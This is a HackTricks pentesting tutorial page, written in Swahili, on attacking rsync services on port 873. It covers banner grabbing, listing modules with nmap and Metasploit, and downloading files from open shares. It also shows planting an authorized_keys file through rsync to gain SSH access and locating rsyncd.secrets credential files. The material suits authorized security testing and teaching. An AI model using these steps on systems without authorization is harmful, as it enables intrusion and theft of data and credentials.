hacktricks/network-services-pentesting/873-pentesting-rsync.md
2024-02-11 02:13:58 +00:00

133 lines
7.4 KiB
Markdown

# 873 - Pentesting Rsync
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## **Maelezo Muhimu**
Kutoka [wikipedia](https://en.wikipedia.org/wiki/Rsync):
> **rsync** ni programu inayotumika kwa ufanisi katika [kuhamisha](https://en.wikipedia.org/wiki/File\_transfer) na [kusawazisha](https://en.wikipedia.org/wiki/File\_synchronization) [faili](https://en.wikipedia.org/wiki/Computer\_file) kati ya kompyuta na diski ngumu ya nje na kati ya [kompyuta](https://en.wikipedia.org/wiki/Computer) zilizounganishwa kwenye [mtandao](https://en.wikipedia.org/wiki/Computer\_network) kwa kulinganisha nyakati za [ubadilishaji](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) na ukubwa wa faili.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Mara nyingi hupatikana kwenye [mfumo wa uendeshaji](https://en.wikipedia.org/wiki/Operating\_system) kama vile Unix. Algorithm ya rsync ni aina ya [delta encoding](https://en.wikipedia.org/wiki/Delta\_encoding), na hutumiwa kupunguza matumizi ya mtandao. [Zlib](https://en.wikipedia.org/wiki/Zlib) inaweza kutumika kwa [kupunguza data](https://en.wikipedia.org/wiki/Data\_compression) ziada,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) na [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) au [stunnel](https://en.wikipedia.org/wiki/Stunnel) inaweza kutumika kwa usalama.
**Bandari ya chaguo-msingi:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
### Uchambuzi
### Bango na Mawasiliano ya Mwongozo
Kabla ya kuanza kuchunguza huduma ya rsync, ni muhimu kufanya uchambuzi wa awali ili kupata habari muhimu. Kuna njia mbili za kufanya hivyo: kuchunguza bango na kuwasiliana kwa mwongozo.
#### Kuchunguza Bango
Kuchunguza bango kunahusisha kupata habari kutoka kwa bango la huduma ya rsync. Unaweza kutumia amri ya `telnet` au zana kama `nmap` kufanya hivyo. Kwa mfano, unaweza kutumia amri ifuatayo:
```plaintext
telnet <IP> 873
```
Ikiwa unapata majibu kutoka kwa seva ya rsync, unaweza kusoma habari muhimu kama toleo la huduma na maelezo mengine yanayoweza kuwa na manufaa.
#### Kuwasiliana kwa Mwongozo
Kuwasiliana kwa mwongozo kunahusisha kujaribu kuunganisha na seva ya rsync kwa kutumia amri ya `rsync` na kuchunguza majibu yake. Unaweza kutumia amri ifuatayo:
```plaintext
rsync rsync://<IP>:873
```
Ikiwa unapata majibu kutoka kwa seva ya rsync, unaweza kusoma habari muhimu kama toleo la huduma na maelezo mengine yanayoweza kuwa na manufaa.
```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
### **Kutambaza Folda Zilizoshirikiwa**
**Moduli za Rsync** hutambuliwa kama **kushiriki folda** ambazo zinaweza kuwa **zimekingwa na nywila**. Ili kutambua moduli zilizopo na kuangalia kama zinahitaji nywila, tumia amri zifuatazo:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Kuwa makini kwamba baadhi ya hisa huenda zisionekane kwenye orodha, huenda zikifichwa. Aidha, kupata baadhi ya hisa kunaweza kuwa na kikwazo cha **vitambulisho** maalum, kama inavyoonyeshwa na ujumbe wa **"Access Denied"**.
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
### Matumizi ya Rsync kwa Mikono
Baada ya kupata orodha ya **moduli**, hatua zinategemea kama uwakilishi unahitaji uwakilishaji. Bila uwakilishaji, **kuorodhesha** na **kukopi** faili kutoka kwenye folda iliyoshirikiwa kwenda kwenye saraka ya ndani inafanikiwa kupitia:
```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
Mchakato huu **unaendeleza faili kwa njia ya kurejesha**, ukilinda sifa na ruhusa zake.
Kwa **vitambulisho**, orodha na kupakua kutoka kwenye folda iliyoshirikiwa inaweza kufanywa kama ifuatavyo, ambapo itaonekana ombi la nenosiri:
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
Kutuma **maudhui**, kama faili ya _**authorized_keys**_ kwa ajili ya ufikiaji, tumia:
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
## POST
Ili kupata faili ya usanidi ya rsyncd, tekeleza:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
Ndani ya faili hii, parameteri ya _secrets file_ inaweza kuashiria faili inayohifadhi **majina ya watumiaji na nywila** kwa ajili ya uwakiki wa rsyncd.
## Marejeo
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>